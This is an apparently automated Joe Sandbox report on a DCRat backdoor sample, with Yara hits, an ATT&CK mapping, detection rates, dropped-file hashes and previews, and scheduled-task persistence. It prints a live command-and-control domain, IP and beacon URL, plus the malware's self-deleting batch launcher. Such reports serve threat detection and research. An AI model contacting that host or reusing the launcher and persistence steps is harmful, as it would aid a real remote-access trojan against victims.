Source: Yara match	File source: Process Memory Space: kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe PID: 6228, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe PID: 2916, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe PID: 5592, type: MEMORYSTR

Remote Access Functionality

Yara detected DCRat

Source: Yara match	File source: 0000000B.00000002.1793189374.0000000002D56000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.1835354064.0000000002BFA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1705861781.000000000310E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1732109470.0000000002D61000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.1793189374.0000000002D11000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.1835354064.0000000002BB1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1705861781.0000000002F81000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: c5uqDb5MlY.exe PID: 4820, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe PID: 6228, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe PID: 2916, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe PID: 5592, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	11 Windows Management Instrumentation	1 Scheduled Task/Job	11 Process Injection	2 Masquerading	OS Credential Dumping	11 Security Software Discovery	Remote Services	11 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Scheduled Task/Job	1 Scripting	1 Scheduled Task/Job	1 Disable or Modify Tools	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 DLL Side-Loading	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	Security Account Manager	31 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	12 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Obfuscated Files or Information	Cached Domain Credentials	14 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	2 Software Packing	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
c5uqDb5MlY.exe	79%	ReversingLabs	ByteCode-MSIL.Backdoor.DCRat
c5uqDb5MlY.exe	100%	Avira	HEUR/AGEN.1323984
c5uqDb5MlY.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Program Files (x86)\Java\jre-1.8\lib\fonts\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	100%	Avira	HEUR/AGEN.1323984
C:\Program Files (x86)\Java\jre-1.8\lib\fonts\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	100%	Avira	HEUR/AGEN.1323984
C:\Users\user\AppData\Local\Temp\GwQD1zscMN.bat	100%	Avira	BAT/Delbat.C
C:\Program Files (x86)\Java\jre-1.8\lib\fonts\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Java\jre-1.8\lib\fonts\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Java\jre-1.8\lib\fonts\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	79%	ReversingLabs	ByteCode-MSIL.Backdoor.DCRat
C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe	79%	ReversingLabs	ByteCode-MSIL.Backdoor.DCRat

Source	Detection	Scanner	Label	Link
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
artema1m.beget.tech	5.101.153.48	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://artema1m.beget.tech/L1nc0In.php?yn6s2=2f1CE969I&2eb64d735c3ceb3cf44155d276f7f3b6=c881cd7e5eb0b68e0a305909638f2735&c145db2fdebeb12e252b4934f8f5f296=gZ1QDN1YTY0EGM5YTMjFjZkRmZwMGOkBzYyImMmNDO4MmYxcjN0ADN&yn6s2=2f1CE969I	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://artema1m.beget.tech/L1nc0In.php?yn6s2=2f1CE969I&2eb64d735c3ceb3cf44155d276f7f3b6=c881cd7e5eb0	kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe, 0000000A.00000002.1732109470.0000000002E5B000.00000004.00000800.00020000.00000000.sdmp, kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe, 0000000A.00000002.1732109470.0000000002E8A000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://artema1m.beget.tech	kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe, 0000000A.00000002.1732109470.0000000002E8A000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	c5uqDb5MlY.exe, 00000000.00000002.1705861781.0000000003132000.00000004.00000800.00020000.00000000.sdmp, kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe, 0000000A.00000002.1732109470.0000000002E5B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://artema1m.beget.tech/	kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe, 0000000A.00000002.1732109470.0000000002E5B000.00000004.00000800.00020000.00000000.sdmp, kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe, 0000000A.00000002.1732109470.0000000002E8A000.00000004.00000800.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
5.101.153.48	artema1m.beget.tech	Russian Federation		198610	BEGET-ASRU	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1543419
Start date and time:	2024-10-27 20:16:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 34s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	17
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	c5uqDb5MlY.exe renamed because original name is a hash value
Original Sample Name:	759B333FD8D1EEDB5666FDEA1DA25B25.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@16/12@1/1
EGA Information:	Failed
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target c5uqDb5MlY.exe, PID 4820 because it is empty
Execution Graph export aborted for target kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe, PID 2916 because it is empty
Execution Graph export aborted for target kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe, PID 5592 because it is empty
Execution Graph export aborted for target kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe, PID 6228 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: c5uqDb5MlY.exe

Simulations

Behavior and APIs

Time	Type	Description
15:17:01	API Interceptor	5x Sleep call for process: kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe modified
19:17:01	Task Scheduler	Run new task: kiLVdQuGOoDsAqfKidbVwSiALpZrG path: "C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe"
19:17:01	Task Scheduler	Run new task: kiLVdQuGOoDsAqfKidbVwSiALpZrGk path: "C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe"

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BEGET-ASRU	2RM12KtuNp.exe	Get hash	malicious	DCRat	Browse	5.101.153.173
	6TCmDl2rFY.exe	Get hash	malicious	DCRat	Browse	5.101.153.173
	PR. No.1599-Rev.2.exe	Get hash	malicious	Unknown	Browse	45.130.41.127
	bX8NyyjOFz.exe	Get hash	malicious	FormBook	Browse	45.130.41.13
	IRYzGMMbSw.exe	Get hash	malicious	FormBook	Browse	5.101.152.161
	Arrival notice.exe	Get hash	malicious	FormBook	Browse	45.130.41.13
	BL Draft-Invoice-Packing list-Shipping Document.pif.exe	Get hash	malicious	FormBook	Browse	45.130.41.13
	h3t7E1Mf7u.exe	Get hash	malicious	DCRat	Browse	5.101.152.16
	https://docs3.google.com/drawings/d/1-YlfxcIlzVfTGHw5rquNE-USEQmDoin5y8OekQ3QMSA/preview	Get hash	malicious	Unknown	Browse	45.130.41.101
	https://docs3.google.com/drawings/d/1-YlfxcIlzVfTGHw5rquNE-USEQmDoin5y8OekQ3QMSA/preview	Get hash	malicious	Unknown	Browse	45.130.41.101

Process:	C:\Users\user\Desktop\c5uqDb5MlY.exe
File Type:	ASCII text, with very long lines (950), with no line terminators
Category:	dropped
Size (bytes):	950
Entropy (8bit):	5.918658524304911
Encrypted:	false
SSDEEP:	24:13v0t4+Hvwzj/znrSqU2XjN5UX4JdEJOgWzRt0F2Pu/U7cl:0Bo7rSqU2XraJgwtqu
MD5:	5F479A72F35F25E81DA184C4425AC052
SHA1:	E8710827F29AE26723122EAFAC877F1411FB5456
SHA-256:	4FC93EEF6722DA83771457CD0296B2F13C71F3785177A720E92CF58EC55F5E8B
SHA-512:	5A92BE1FEAF8C6F040A5E7D508B6262F56A722F16CE05B52E7C330A472A64DFE811CFC44BF6E198D6C81648AB37639FDA6BCF09131D6920938F5786AFE67A842
Malicious:	false
Reputation:	low
Preview:	CLVGWJXnjOYPctWDpBwyLxtVMNfeiSKMyn5o9ijPGopvvx2o8qhw7puPbA3In2FQEMazxsEHcgshH8jZV1g1vXOJ2qM9oalNjYrjWC1QmZTa6NHdadxwWNfq7R6GfFdC4e7sR9DS9QPVDxMojtiKnz1V3AmEFvvg6RgbQYLaaexG8JmJFShvhSYFnlzQX9MOesZvRuYLhHuIBvWtYc9xN99o3ayoi5DbRilPu01U4WNZhQD2OF259ZAftu216tmmET1cJH9hko31vjGnW5ZdCIb2iFg97AYKulVOYksHGUUVfItJnPfATIj5284Dk9jkPsHJO2OvMSWsxGXZVXVrfY1lCZVaqphGvuFwBk5vBtxBv1IvlerNn1F01gHygxFhuP6DAkYvbkqvlzzLRjzL7Ud3oP5ecHOOoPQf4EvAG6vDLTPBq6g683kawDYvp3SUWcHViTQNyyEAiZrV93xgkRPuo0t0pAVMnbrtL3cXpSIKyj2WWCvwGwtEMXrskahxc2XGs8JGaa1RIF5F7WemPjG0rmgyMtxOuVr6LvnX3pVq5b5HbmvN55i3whYGbV3qmmgxX93LsGtkNZ5QqZXk8jTzwxJoXh6hvpDS4ItcsjfzL8qWlIZC7TrDTrAjzOyKKLyhWmVip51ZEdnyHxDOI3jc7A9NHJmeuUoAJIA8x0WCbS8zDMcCKkCRlWkWnHbgSWouznp9xFbShhApBJK5rkTKRXYwhnUpYzuEoNAZgcOFJttEW5Ud7gzrDdcbP3cJuv3rw5AyJuYPVOBinTamT0r1ACBKviKn9FVXzCRa4gTNHkWzc4y5dzz3DBru4zClkvPP2oslB9rxgeuaqMs1tOKJQcTxVhgEdsnWUG6yLM3dIBWjRQErHL1VlF9aU4QednUy1XFjP4phUqBOFufEdy7R0RvPGgdR6ZAfrhr4KecNgUA4DuUkYL

C:\Program Files (x86)\Java\jre-1.8\lib\fonts\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe

Download File

Process:	C:\Users\user\Desktop\c5uqDb5MlY.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	847360
Entropy (8bit):	6.081992849919657
Encrypted:	false
SSDEEP:	12288:M+B2ad7F/Jf2xm1/nNfkOV+0Z3+5DlpAXdet4y5+q:gad7PuxmRn60Zu7xtZp
MD5:	759B333FD8D1EEDB5666FDEA1DA25B25
SHA1:	B66FC861196561F793062622B88CDB1065E35459
SHA-256:	7A1A3397249836CAC73C5F104211FB6CBB2317C830C148A65ACB709210AADD2E
SHA-512:	831006157773F5A30DBF07DCBFD484F49A978C077F8E132D33C8E044F8141462BB890C344724B23C3144488C1C406D576B7009C1205772A503CE6CC92692AEC3
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 79%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....rb.....................6........... ........@.. .......................`............@.................................p...K.... .......................@....................................................... ............... ..H............text....... ...................... ..`.sdata.../.......0..................@....rsrc........ ......................@..@.reloc.......@......................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\lib\fonts\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\c5uqDb5MlY.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Recovery\0cb67fdef24436

Download File

Process:	C:\Users\user\Desktop\c5uqDb5MlY.exe
File Type:	ASCII text, with very long lines (927), with no line terminators
Category:	dropped
Size (bytes):	927
Entropy (8bit):	5.908562468120455
Encrypted:	false
SSDEEP:	24:vz9pLLrrE7DLh+uReU2rYUlTyQk4w236K6DbkmNw:xNL/6V3+YUlGZ2KZ8mK
MD5:	E30E79206C024B2B57079399D3E32A3A
SHA1:	F36184808F3107899ECBF8380D6E17C6D8708082
SHA-256:	8672A5A85FA5F39C8055ADA854AFA8F361D5DE9648BDEB2BACBC59F813E051FB
SHA-512:	6D5BA20E1A910776C82996ABD71675E91563DE1EB49610F34C148ED3E76F4776C036A8DFDB2186AE6EF64C3C1FA867718CE11A9C009B85FDFCADCA8DCE755C5A
Malicious:	false
Preview:	qghiCl39WuvfR1LWL22uYVzojISUAswItFNgNwhxRBS5RcSupHhiezgVr284Sj8n7mwMnoIZUFcXC3XHzhp3LOn4i2zUxnesCo8oqFHA8HNZWJSyf1Ev4Ect82ovzymrluUY5satao5DBOhYjBy6itx8MOqybVLKffxmy42xaUUPJYsuUPLy9pI26WMqCmREdvifa4jpIBfNYizxf5dMKWKzW5pcsLuxCPwX0MTapfp7J5eYhYLGJF4GksJeOH76RsKIvb6SmDhorNqbbR5TAoo7VpwIDyLiitqbuVmFb2eGiPZXCrD7Ln6mENxFoyPx19G8hOqGo01IJhZFQZGWvNW4xDXhihanmrOjJbzxA7TVwxdgxrzOr3BonMKd0JhHZOfcT06ykSVx4AI9k1t0rM5tpk66QV61ZM6hRAN7vAoYiNumEL39arZNSvws49iOVdYsDkrjovFqhgLb0T2Fb7bswtOgNeDvcZCEzCiddUVolspvjV2kHcwYCp5UVLVJsTOHdHlyuYlHmwGDDc62lco9noCJGOIS8L6SehSctE0s1owPj1Q2OdhPpOezFcrgQTJb0yjgKeIhm5I82wkO7PDenqnPDcXRWUcifUYvSusuVAntGf6S2ciBPoxKLTcrG1LSdkchXy6NgSJnD4JhgEZ3vbS1hOk8RAndyVPgDZ4DgVe7eKGQK5LCbRgCSlAJO75gopyromeHKWXZ7UXWHTyWylCgyNObYvyia7SyWYmiaE2F4GE7OoB5JirDnR3aYCsYhy99CiAtqQ6ut6lrIRNuu3Z2QOKEfLKYWdiGHF5pnRO3m7UrpMSGz8ooYHtxX5NeGiXPYfkDWhGcogPS4dYS3DjXz3s9WHRsDtxDjETKmPuR1L911b24g5lC99aewkrOPYY4tMs0KOqoSRgo40I4PXLIIuE

C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe

Download File

Process:	C:\Users\user\Desktop\c5uqDb5MlY.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	847360
Entropy (8bit):	6.081992849919657
Encrypted:	false
SSDEEP:	12288:M+B2ad7F/Jf2xm1/nNfkOV+0Z3+5DlpAXdet4y5+q:gad7PuxmRn60Zu7xtZp
MD5:	759B333FD8D1EEDB5666FDEA1DA25B25
SHA1:	B66FC861196561F793062622B88CDB1065E35459
SHA-256:	7A1A3397249836CAC73C5F104211FB6CBB2317C830C148A65ACB709210AADD2E
SHA-512:	831006157773F5A30DBF07DCBFD484F49A978C077F8E132D33C8E044F8141462BB890C344724B23C3144488C1C406D576B7009C1205772A503CE6CC92692AEC3
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 79%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....rb.....................6........... ........@.. .......................`............@.................................p...K.... .......................@....................................................... ............... ..H............text....... ...................... ..`.sdata.../.......0..................@....rsrc........ ......................@..@.reloc.......@......................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\c5uqDb5MlY.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\c5uqDb5MlY.exe.log

Download File

Process:	C:\Users\user\Desktop\c5uqDb5MlY.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	1740
Entropy (8bit):	5.36827240602657
Encrypted:	false
SSDEEP:	48:MxHKQ71qHGIs0HKCYHKGSI6oPtHTHhAHKKkhHNpaHKlT4x:iq+wmj0qCYqGSI6oPtzHeqKkhtpaqZ4x
MD5:	B28E0CCD25623D173B2EB29F3A99B9DD
SHA1:	070E4C4A7F903505259E41AFDF7873C31F90D591
SHA-256:	3A108902F93EF9E952D9E748207778718A2CBAEB0AB39C41BD37E9BB0B85BF3A
SHA-512:	17F5FBF18EE0058F928A4D7C53AA4B1191BA3110EDF8E853F145D720381FCEA650A3C997E3D56597150149771E14C529F1BDFDC4A2BBD3719336259C4DD8B342
Malicious:	true
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Drawing\567ff6b0de7f9dcd8111001e94ab7cf6\System.Drawing.ni.dll",0..3,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\2a7fffeef3976b2a6f273db66b1f0107\System.Windows.Forms.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\S

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe.log

Download File

Process:	C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	1281
Entropy (8bit):	5.370111951859942
Encrypted:	false
SSDEEP:	24:ML9E4KQ71qE4GIs0E4KCKDE4KGKZI6KhPKIE4TKBGKoZAE4KKUNb:MxHKQ71qHGIs0HKCYHKGSI6oPtHTHhA2
MD5:	12C61586CD59AA6F2A21DF30501F71BD
SHA1:	E6B279DC134544867C868E3FF3C267A06CE340C7
SHA-256:	EC20A856DBBCF320F7F24C823D6E9D2FD10E9335F5DE2F56AB9A7DF1ED358543
SHA-512:	B0731F59C74C9D25A4C82E166B3DC300BBCF89F6969918EC748B867C641ED0D8E0DE81AAC68209EF140219861B4939F1B07D0885ACA112D494D23AAF9A9C03FE
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Drawing\567ff6b0de7f9dcd8111001e94ab7cf6\System.Drawing.ni.dll",0..3,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\2a7fffeef3976b2a6f273db66b1f0107\System.Windows.Forms.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\S

C:\Users\user\AppData\Local\Temp\ChgBdwEIps

Download File

Process:	C:\Users\user\Desktop\c5uqDb5MlY.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	25
Entropy (8bit):	4.213660689688185
Encrypted:	false
SSDEEP:	3:NTQ0m7rvozgn:Nc0m7rvB
MD5:	B82B503CE24DFF9DB33422E0CB676F4F
SHA1:	140FED268837490B99DCD540E34662397C5733B2
SHA-256:	EA147A2191F6621BCE616BD6CBDEEB6B5CF2E6B1D2AE28F3410E43029C8523D7
SHA-512:	2676D24F8B42E671EAB1B0EB31F003AEDAE45F117A023CC35E88BF57264E082EEBB791648E5603E02F4277734870A8BE56E7179F95FB12B8A59EC695E5491317
Malicious:	false
Preview:	CuSO6urdwj6cw92NPw9HJMV0o

C:\Users\user\AppData\Local\Temp\GwQD1zscMN.bat

Download File

Process:	C:\Users\user\Desktop\c5uqDb5MlY.exe
File Type:	DOS batch file, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	210
Entropy (8bit):	5.282871985302848
Encrypted:	false
SSDEEP:	6:hITg3Nou11r+DE7GdDJHoAEyKOZG1wkn23fKLq:OTg9YDE7lAEof5
MD5:	B0A8F25C1CB2F5EF59D2762A0574640F
SHA1:	DB18B6609ACFACDF9AB00B54A7312B7A6364DF51
SHA-256:	D8C889B8440F70C870246960A3BF98AD79D116541A94BD44806EF7A04863ACD5
SHA-512:	0A93FDE9EA5AC8ED30DBAE08B8FE9751A67CB23429777E5BC8E2A732FA6D0D2E11B447689A7F905D925701F1CC5BDE67B9EB6CC406A69A174CD85FA584FB4018
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Preview:	@echo off..w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2 1>nul..start "" "C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe"..del /a /q /f "C:\Users\user\AppData\Local\Temp\\GwQD1zscMN.bat"

C:\Users\user\AppData\Local\Temp\tmp9385A.tmp

Download File

Process:	C:\Users\user\Desktop\c5uqDb5MlY.exe
File Type:	ASCII text, with very long lines (348), with no line terminators
Category:	dropped
Size (bytes):	348
Entropy (8bit):	5.346361339934191
Encrypted:	false
SSDEEP:	6:tMUYi9hIiy2AnPkqh8/6cZFnOjW8P9jEp+H9QtIsE6cdjdGEZGK9hlVE4+rY:+4w2iYCd/P9eGaIouQ5K9hlW4X
MD5:	8395AC2566C171403657E3A3D03B8597
SHA1:	DC3E4DD8DA0ACD3588EDA607061E5064D868CEA2
SHA-256:	5BB3506CA36FE7B9C80CA1968679306C04115C4C4C6FDB2373F338C70D63861B
SHA-512:	517091E057385F45BC97B00FBE4178E0380D9B77A6F88893E7C2125F548B6C9899EA163A8476EEB973E4AF5FA8F03B03E5C9F069B791C8B164A2B2A10BF93790
Malicious:	false
Preview:	eyIzYjZmYWE1Yzg4NGJkMzEzMmQwNWQ4YmExOGM2M2Y2ZTZkMzQ4ZDcxIjoiW1wiQzpcXFxcVXNlcnNcXFxcam9uZXNcXFxcRGVza3RvcFxcXFxjNXVxRGI1TWxZLmV4ZVwiLFwiQzpcXFxcUHJvZ3JhbSBGaWxlcyAoeDg2KVxcXFxqYXZhXFxcXGpyZS0xLjhcXFxcbGliXFxcXGZvbnRzXFxcXGtpTFZkUXVHT29Ec0FxZktpZGJWd1NpQUxwWnJHLmV4ZVwiLFwiQzpcXFxcUmVjb3ZlcnlcXFxca2lMVmRRdUdPb0RzQXFmS2lkYlZ3U2lBTHBackcuZXhlXCJdIn0=

\Device\Null

Download File

Process:	C:\Windows\System32\w32tm.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	151
Entropy (8bit):	4.7517046469476005
Encrypted:	false
SSDEEP:	3:VLV993J+miJWEoJ8FXzXzWBL+Jvvouqvj:Vx993DEUu62on
MD5:	70CBBEF50ABBFABF5E580C1A75233E0C
SHA1:	B722B0471D4937D5CEF03E0772E3EBB700BDF1C0
SHA-256:	205DDB8CCDDAFCD5AF488FB23F76D6C831A0F7319A78F1031CF60C14BCEA4A19
SHA-512:	CF0B386150C203DBDCC620B681AC737C66DB57E2EB1888368EE240FF89691537AC0893E5235B9A1D67E830A4C81ECECA365B6B45B05D7F5D2055DE690E07DE42
Malicious:	false
Preview:	Tracking localhost [[::1]:123]..Collecting 2 samples..The current time is 27/10/2024 17:11:18..17:11:18, error: 0x80072746.17:11:23, error: 0x80072746.

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	6.081992849919657
